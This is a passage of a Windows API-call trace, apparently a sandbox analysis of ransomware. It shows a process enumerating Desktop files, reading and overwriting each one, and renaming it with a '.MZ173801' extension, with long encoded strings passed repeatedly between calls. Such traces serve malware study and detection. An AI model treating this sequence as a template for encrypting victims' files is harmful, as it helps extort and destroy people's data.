QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_I6CQm9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_i6cqm9.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.991] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.992] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.992] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x6fe5 [0144.992] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.992] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x6fe5, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x6fe5, lpOverlapped=0x0) returned 1 [0144.993] CloseHandle (hObject=0x224) returned 1 [0144.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_I6CQm9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_i6cqm9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.996] WriteFile (in: hFile=0x224, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x6fe5, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f99c*=0x6fe5, lpOverlapped=0x0) returned 1 [0144.997] CloseHandle (hObject=0x224) returned 1 [0144.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_I6CQm9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_i6cqm9.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_I6CQm9.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_i6cqm9.m4a.mz173801")) returned 1 [0145.000] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0145.000] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa73bc740, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa73bc740, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0145.000] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec5eb0, ftCreationTime.dwHighDateTime=0x1d5e591, ftLastAccessTime.dwLowDateTime=0xfe92a1f0, ftLastAccessTime.dwHighDateTime=0x1d5dee4, ftLastWriteTime.dwLowDateTime=0xfe92a1f0, ftLastWriteTime.dwHighDateTime=0x1d5dee4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2f72f0, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0145.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0CehppGcHEa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0cehppgchea.png"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x690d2b0, ftCreationTime.dwHighDateTime=0x1d5e60f, ftLastAccessTime.dwLowDateTime=0xbcb2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5dedd, ftLastWriteTime.dwLowDateTime=0xbcb2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5dedd, nFileSizeHigh=0x0, nFileSizeLow=0xb83)) returned 1 [0145.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0CehppGcHEa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0cehppgchea.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.004] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0145.005] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.005] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xb83 [0145.005] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.005] ReadFile (in: hFile=0x2a4, lpBuffer=0x714510, nNumberOfBytesToRead=0xb83, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xb83, lpOverlapped=0x0) returned 1 [0145.006] CloseHandle (hObject=0x2a4) returned 1 [0145.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0CehppGcHEa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0cehppgchea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.007] WriteFile (in: hFile=0x2a4, lpBuffer=0x716540*, nNumberOfBytesToWrite=0xb83, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0xb83, lpOverlapped=0x0) returned 1 [0145.009] CloseHandle (hObject=0x2a4) returned 1 [0145.009] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0CehppGcHEa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0cehppgchea.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0CehppGcHEa.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0cehppgchea.png.mz173801")) returned 1 [0145.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0q91R3 LR1h2M2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0q91r3 lr1h2m2.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c80f80, ftCreationTime.dwHighDateTime=0x1d5d869, ftLastAccessTime.dwLowDateTime=0x52bc0a80, ftLastAccessTime.dwHighDateTime=0x1d5e1d0, ftLastWriteTime.dwLowDateTime=0x52bc0a80, ftLastWriteTime.dwHighDateTime=0x1d5e1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc583)) returned 1 [0145.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcw